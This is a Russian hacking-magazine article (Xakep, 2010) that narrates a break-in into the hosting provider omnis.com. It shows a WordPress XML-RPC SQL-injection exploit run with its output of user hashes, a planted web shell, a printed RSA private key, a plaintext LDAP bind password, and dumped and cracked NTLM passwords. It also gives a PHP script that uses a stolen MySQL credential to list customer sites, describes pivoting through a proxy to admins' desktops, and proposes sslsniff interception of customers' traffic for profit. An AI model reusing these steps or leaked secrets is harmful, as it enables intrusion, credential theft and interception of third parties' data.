Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #133, ЯНВАРЬ 2010 г.

Взлом всея сети. Omnis – самый лучший хостинг!

Ivengo, ivengo@nosecure.info, http://www.nosecure.info


Каждому профессионалу хочется славы и денег. В хакерской среде и то, и другое считается неотвратимым злом: и к тому, и к другому настоящий хакер испытывает отвращение. Но, как говорится, ботнет приходит и уходит, а кушать хочется всегда. Так что одним из способов проведения платных научных исследований на сегодняшний день является оценка того, как просто можно получить доступ к определенному ресурсу. Этим мы сегодня и займемся!

Провайдер Всея Сети

Если ты представил, что виртуальные купюры WMZ уже шелестят у тебя в кошельке, и глазки заблестели, то пойдем дальше и представим типичную картинку - хостинг-провайдера www.omnis.com, у которого, как соты в пчелином улье, хостится множество вкусных сайтов с хорошим PR (за которые отдают неплохие деньги). Один такой попался мне совсем недавно, а остановился я на нем совсем случайно - очень уж повеселило его название - Omnis Network (что в вольном переводе означает «Провайдер Всея Сети»).

Особенность данного божественного пасквиля в том, что ребята из Omnis помешаны на послеполуденных молитвах и безопасности. Многие очень умные люди обломали свои зубки о всевозможные хитрости, придуманные этим хостером.

Помолимся, дети мои!

А заодно подумаем головой - хостят они кого попало, одних только простых сайтов больше 5000. Наверняка, найдутся пингвины, которые не в ладах со своими движками и CMS. Если все так, то и искать можно, начиная с самых простых вариантов (потому как настоящий хактивист всегда идет в обход). Выбираем несколько вариантов из наиболее доступных - WordPress, Joomla, DataLifeEngine, CowPHP и пр. Теперь пробуем... Нас интересуют не просто сайты, а сайты-соседи, которые мало того, что хостятся физически на одном сервере, так еще и принадлежат нашему священному чуду omnis.com.

Чтобы найти сайты-соседи, можно воспользоваться отличным сервисом robtex.com. Это настоящий швейцарский ножик для компьютерных сетей. Он мало того, что рисует картинки зависимостей DNS, так еще и накапливает эту информацию после собственных поисковых исследований! У него можно спросить как IP-адрес, так и наоборот, доменное имя, соседа которому хочется найти.
В ходе нескольких проб был установлен первый кандидат на исследовательский «пробив». О чудо! Целью оказался WordPress древней версии 2.2.1 с уязвимостью XML-RPC (burnmanbedlam.com).

Этого динозавра, конечно, можно валить с помощью автоматических средств - например, готового POC-примера от группы notsosecure.com. Как работает релиз команды (нашей тезки), смотри ниже:

#beambox@faruk# ./wp-xmlrpc-2-2-sql.pl http://burnmanbedlam.com/ complita truckmebaby 31
The usage is correct
[*] Trying Host http://burnmanbedlam.com/ ...
[+] The xmlrpc-2-2 server seems to be working
--------------------
Username for id = 1 is:--> admin
Md5 hash for user: admin

is: 1f3c53937f213d5b247d2d032d0d2030
--------------------
Username for id = 2 is:--> burnman
Md5 hash for user: burnman
is: ffd03373047a3390328e3d63520f9db6
--------------------
Username for id = 3 is:--> complita
Md5 hash for user: complita
is: 1eb307423c98331ce3623989328d2c0a
-----------------------
Total Number of Users found:-->3
-----------------------
Mysql is running as: burnm001@mysql.omnis.com

В качестве параметров сплоиту надо передать имя зарегистрированного пользователя (complita), пароль к нему (truckmebaby) и номер существующего поста, в который этот замечательный пользователь может записывать любую информацию. Выбранный burnmanbedlam.com нас не подвел - и регистрация открыта, и посты наполнять можно (их даже видно, что вдвойне приятно, хоть и редкость в наше время).

На самом деле, вместо того, чтобы тратить драгоценное время на поиск и анализ уязвимого узла, всегда существует вариант приобретения чистого хостинга у провайдера - все дальнейшее совершенно одинаково как для легального пользователя, так и для неравнодушного исследователя :). Тем более, в большинстве случаев хостинг-провайдер предоставляет свои услуги всего на одном-двух очень мощных серверах. Так что шанс «промахнуться» и приобрести в аренду ненужный тебе хостинг очень мал.

Суидная капелла

Первое, что порадовало, когда был залит шелл - это отсутствие включенного SAFE_MODE и пустой список недопустимых функций. Казалось бы, запускай что угодно, делай что угодно - все разрешено. Но как бы ни так - вместо привычного ответа «nobody» или «www» на вопрос «whoami» был получен вполне вразумительный «burnm001», то есть, имя конкретного владельца данного сайта (на который и был установлен шелл). Кроме того, права на файлы установлены так, что содержимое соседних сайтов недоступно вовсе. Для этого веб-сервер сконфигурирован таким образом, что во время запуска пользовательских программ и CGI-сценариев происходит имперсонализация (мы уже писали об этом замечательном процессе в статье «Пошаговая имперсонализация» в ][#048). Все это говорит о том, что за вопросами безопасности здесь стараются следить - ну или хотя бы подумали о них, когда строили систему.

omnis# uname -a

Linux cl27.cust.omnis.com 2.6.18-128.4.1.el5 #1 SMP Tue Aug 4 20:23:34 EDT 2009 i686 i686 i386 GNU/Linux Linux

Однако, несмотря на предпринятые меры безопасности, мы уже оказались внутри и у нас есть возможность исполнять системные команды. Раз так, проанализируем конфигурацию нашего божественного хостера. Самое интересное для нас будет находиться в конфигурационном файле веб-сервера. С этим все просто - провайдер использует Linux (с версией ядра 2.6.18), а нам известно, что у Unix с вигвамом всегда есть общее - нет форточек и внутри сидит апач. Следовательно, ищем конфигурационные файлы веб-сервера Apache.
Стандартный файл httpd.conf радует нас следующей строчкой:

Include /clfs/cluster/httpd/omnis.conf

Перебравшись в него, сразу становится ясно, что мы имеем дело с подключенным NFS-сервером с распределением нагрузки на жесткие диски (наверняка отдельный RAID-массив с поддержкой iSCSI или оптики). А также проясняется, где хранится все самое интересное:

<Directory /webroot/?/?/*/*>
Options -Indexes SymLinksIfOwnerMatch -MultiViews ExecCGI Includes
AllowOverride Indexes FileInfo AuthConfig Limit Options=Includes,IncludesNOEXEC,MultiViews,Indexes,SymLinksIfOwnerMatch,None
Order allow,deny
Allow from all
</Directory>

Санктум-сертификатум

Запись «/webroot/?/?/*/*» позволяет веб-серверу связать доменное имя (сайта, которого у него запрашивают) с конкретным путем. Первые две буквы имени формируют ветку, где собственно и хранятся данные сайта. Например, если наш сайт располагается по адресу http://www.omnis.com, то файлы сайта находятся в каталоге «/webroot/o/m/omnis001/www», где omnis001 - имя пользователя, права которого устанавливаются веб-серверу при работе с файлами из домашнего каталога. Еще немного вкусного лежит по адресу «/clfs/cluster/httpd/», - там мы находим... сертификат с открытым и закрытым ключами сервера! Да-да, именно те самые, которые используются бедными пользователями для проверки, правда ли то, что этот их любимый провайдер или нет.

[/webroot/d/] cat /clfs/cluster/httpd/secure.omnis.com.key
-----BEGIN RSA PRIVATE KEY-----
MIICXAIBAAKBgQDcEHbDM3QLmWn3fda7sWKveqvNNdzSZgIcP+Afut6mXTNf5Cje
SeW3JvlNXdijtzqWcSFcPkXtHrXTMUVwDyCZ4j3ptXlueHx14Gthx5VnHlDzOqdg
DugIr844K36LITT0qZxJjSuVhnmJ2qlhrf0ZeYlccNDkSpHB1Bs5hnTXoQIDAQAB
AoGAFQRRg1T/qTfuod9XybcoOKAblk6ll0Z8vxvumLktGHBgPrE4ofomwTYsqxHi
ZchTBRkq2XdtEDdVoCTdf9VCBKLxzGqyZwh+2FH/mxwYueNxgaAu5y+kFa9+kJWj
ofhM4gzjTtuqhF8zl71nrVYt0mcCAmxz2Jb6daB+MZMVo00CQQD3UF+tXO299PgO
FIo138LyVrxBCnHX7THMod0cx2n8DkEj29LCtRz93nBuYqyRVUeSoBTOWODd+jfY
7MWDuSAnAkEA48sV7yDO+gNECOeBPTbuJ6qoxk0ohHnyWWh6IkxP0OaiwyutG8y6
zg6wLzwVcJ54f8hgsCjeNhwTH+CIp4Pe9wJBAPZA6YPNzEwg5/3dJeGO9KYpBzoc
FE9UtwlzAp/tT/LSnrn94FZP0JZYLss7JWlw6Ntu2ki85usggwtUdzc51nECQEnY
xq2VF0RZ1q6ETpOHwUE+xCQ1U1NPLU/q3N1Nm/p/KnjXKfF/N3ghruBBPDocRbg3
P5EcTp2AEHsfEW4tBBUCQHSo04Muyx+TvH06FAwrNcoJmR5xw+kmSjSihbFlDVmh
8ND2PP7SJPsnyxA8i7UHq7PuqRw/c6CuDUNv0A3x2aQ=
-----END RSA PRIVATE KEY-----

Ведь, что интересно, права как раз на эти файлы позволяют нам их не только прочесть, но и изменить. Фантазия сразу подсказывает массу забавных вариантов применения полученных сертификата и соответствующего ему секретного ключа. Самый интересный вариант - использование программ sslstrip и sslsniff, но только с небольшой доработкой, которая вместо ошибочных сертификатов выдавала бы пользователям Omnis вполне себе легальный сертификат того же Omnis, да еще и прямо в онлайне позволяла полностью читать любые зашифрованные данные пользователей. Прочитавши статью о взломе SSL в прошлых номерах, не составит труда проделать необходимые изменения в конфигурации этих программ. Однако вернемся к нашим священным барашкам. Объявив праздник курбан-байрам, находим в конфигурации Апача строку со ссылкой на LDAP-авторизацию:

[/webroot/d/] cat /etc/httpd/conf.d/mod_vhost_ldap.conf

LoadModule vhost_ldap_module modules/mod_vhost_ldap.so

<IfModule mod_vhost_ldap.c>
VhostLDAPEnabled on
VhostLDAPUrl "ldap://ldap.omnis.com/ou=Domains,dc=ldap,dc=omnis,dc=com"
VhostLdapBindDN "cn=root,ou=Special Users,dc=omnis,dc=com"
VhostLDAPBindPassword "ns43k6xs"
VhostLDAPFallback cust.omnis.com
</IfModule>

LDAP - он и в Африке LDAP

Такой подход к авторизации пользователей и раздаче контента на мега-сервере является крайне многообещающим. Во-первых, это означает, что админы работают с тачками, на которых стоит Windows, а сами изредка подключаются к мега-серверу (куда мы, собственно, и проникли), для управления и мониторинга дел. Во-вторых, великий сидящий воин Апач не умеет авторизовываться в LDAP со сложными схемами аутентификации. Это означает, что написанный в открытом виде пароль в строчке "VhostLDAPBindPassword "ns43k6xs" - это как раз тот пароль, с которым нас пустят в контроллер домена! Праздник продолжается, когда незамыленный взгляд замечает, помимо пароля, еще и строку подключения к ветви LDAP.

Вообще говоря, LDAP - это не только сетевой протокол для доступа к службе каталогов, который используется в системе Windows для хранения всего-всего-всего, но и система обработки информации, которая включает в себя простой протокол, использующий TCP/IP и позволяющий производить операции аутентификации (bind), поиска (search) и сравнения (compare), а также операции добавления, изменения или удаления записей. Контроллер домена (по сути, LDAP-сервер) принимает входящие соединения на порт 389 по протоколу TCP.

Запомни! Всякая запись (строка подключения) в каталоге LDAP состоит из одного или нескольких атрибутов и обладает уникальным именем (DN — от Distinguished Name). Уникальное имя может выглядеть, например, следующим образом: «cn=Иван Петров, ou=Сотрудники, dc=example, dc=com». Уникальное имя состоит из одного или нескольких относительных уникальных имен (RDN — от Relative Distinguished Name), разделенных запятой. Относительное уникальное имя имеет вид «ИмяАтрибута"="значение». На одном уровне каталога не может существовать двух записей с одинаковыми относительными уникальными именами. В силу такой структуры уникального имени записи в каталоге LDAP можно легко представить в виде дерева. Запись может состоять только из тех атрибутов, которые определены в описании класса записи (object class), которые, в свою очередь, объединены в схемы (schema). В схеме определено, что одни атрибуты являются для данного класса обязательными, а другие — необязательными. Также схема определяет тип и правила сравнения атрибутов. Каждый атрибут записи может хранить несколько значений.

О тонкостях настройки и работы LDAP мы писали в статье «Контроллер домена на SAMBA за семь шагов» (в 6 номере ][ за 2008 год).
Остается лишь вопрос о том, как получить доступ к серверу LDAP, который по совместительству исполняет роль контроллера домена? Извне нас поджидает межсетевой экран, начиненный запрещающими правилами, как казанский плов рисом. Но вот внутри бокса консольных приложений для работы с LDAP попросту нет, так что свежеустановленный шелл нам не поможет. Остается только одно - установить в систему все, что нужно, самим. Ничего не скажешь, наглость города берет, да и программка быстро нашлась подходящая - phpLDAPadmin (скачать можно по адресу phpldapadmin.sourceforge.net). Средство phpLDAPadmin написано целиком на PHP, работает без необходимости установки каких-либо библиотек и патчей, что идеально подходит для установки на добытом шелле.

Устанавливаем с помощью шелла phpLDAPadmin на ранее исследованный вдоль и поперек нами хост. Вписываем адрес контроллера и строку подключения с паролем в конфигурационный файл, запускаем, наслаждаемся доступом, который позволяет нам подсчитать количество настоящих пользователей (их в системе 27), а также посмотреть их пароли в формате NTLM! Дельный совет - чтобы получить доступ ко всей информации, необходимо, во-первых, воспользоваться усечением строки доступа до корневого домена (то есть, чтобы строка выглядела как «dc=omnis,dc=com» вместо «cn=root,ou=Special Users,dc=omnis,dc=com»), а во-вторых, использовать не простой поиск, а экспорт данных из LDAP в файл просто формата - например, CSV.

brad:1000:986BB475FD95731486235A2333E4D2:68227ACC65C876AD0D1A627C32A06BD7
fromm:1001:0BAD9021C73A4417306D272A9441BB:2DAD344B45B352CBD399D345E8B9B308
gchon:1003:BE11A10D73AA31AAD3B435B51404EE:4AB4FEF0EDA7B2D5A7A57503B0C16B65
joel:1004:505CC6DF3797A3352502E32A407F23:1AE71A4A01F80B00CC1F06D60A53AA7F
root:1005:FF1D3ABC1797B8CDE68AA26A841A86FA:E9A75F1EAD4F9B24A9799D0214FCBF

Тут-то нам и пригодятся разнообразные методы взлома NTLM-хешей (не могу не поделиться: пока искал правильные сайты для взлома LM-хешей, нашел забавный сайт unix.com, в котором на русский язык оказалось переведено название John the Ripper - дядюшка Google окрестил его Иоанном (святой брутер, все-таки)). Советую параллельно использовать взлом с помощью радужных таблиц, опробование их на специализированных сайтах (как, например, lmcrack.com или hashcracking.info), а также собственные силы в виде Passwords Pro и John the Ripper. Причем, использование брутера Passwords Pro не исключает использование John the Ripper, а наоборот, только дополняет. Что в итоге? Немного потения процессором и шуршания диском - и вот они, золотые слова:

brad:d3acdd9;m
fromm:e3X3xxde
gchon:1ghcon911
joel:tchenolaw
root:b&xId(cO

Пробуем вводить полученные пароли прямо в логин-шелле, однако получаем отказ - шелл у нас индейский (от Апача), для этих целей не приспособленный. Придется искать обходной путь. Правда, попутное промежуточное решение тоже ничего - один из паролей подошел к mysql-базе данных, которая оказалась рядом (по адресу mysql.omnis.com). Полученный к СУБД доступ был рутовым - это сильно порадовало, так как среди хостеров OMNIS.COM немало товарищей с PageRank 6 и 7, а они (как мы помним) стоят денег. С помощью простого скрипта, загруженного через шелл, подбираем доменное имя сайта (чтобы оценить затем PageRank) по имени базы данных и ее типу:

<?php
$mysql_username="joel";
$mysql_password="tchenolaw";
$mysql_host="mysql.omnis.com";

$fh = fopen("bases.txt", "r");
while (!feof($fh)) {
$line = fgets($fh, 4096);
chop($line);

echo "database: ", $line, "\n";
$mc = mysql_connect($mysql_host, $mysql_username, $mysql_password) or die("cannot connect to db!");
mysql_query("use $line;") or die("cannot use database '$line'");
$q = mysql_query("select option_value from wp_options where option_name = 'siteurl'") or die("cannot select");
$arr = mysql_fetch_array($q) or die("cannot fetch");
echo $arr[0], "\n";
mysql_close($mc) or die("cannot close");
}

fclose($fh);
?>

Скрипт легко можно модифицировать под свои нужды, благо размер у него микроскопический. На вход ему надо подавать имя файлов со списком баз данных из mysql (благо, с рутовым доступом они известны все), а на выходе он будет выдавать вот такой листинг:

teamdeadbunny.com/wp/

blog.controlfreeks.com.au/wp/

dapitalone.co.uk/

johnadams.tv/blog02/

blog.hurtvillage.com/

albdam.com/

johannes.happcomm.com/

chris.themartins.com.au/

casinoroad.org/

www.chemheritage.org/

chicagodigitalgraphics.com/wp/

...

Финальный штрих

Опытному исследователю этого мало - наглеем дальше и устанавливаем на хостинг прокси-сервер (для этих целей отлично подойдет 3proxy). Как только он установлен, нас уже ничего не отделяет от рабочих компов админов - они уже совсем близко. Настраиваем «прыжок» с помощью sockschain от нашего клиентского подключения на выделенном дедике к известному адресу админского компа (например, к gchon.omnis.com). Включаем RDP-клиент и получаем консоль на удаленном рабочем столе с Windows XP SP2 EN. Но самое интересное оказалось не в нем (его использование вызвало ажиотаж в стане админов, и «лавочка» быстро закрылась), а в консоли управления провайдерскими аккаунтами и пользователями - любопытная статистика приведена на скриншотах. Очевидно, что православный хостинг не столь убыточен, как могло бы показаться на первый взгляд - заработать за неполных 11 месяцев 1,5 млн. долларов оборота может не каждый провайдер.

Общий итог - несмотря на все предпринятые меры безопасности, провайдер сдал свои фортификации под давлением наших знаний и умений. Читай ][ и все у тебя получится! Как сказали бы древние, «OMNIS.COM mea mecum porto» или «мой провайдер всегда со мной» :).

Содержание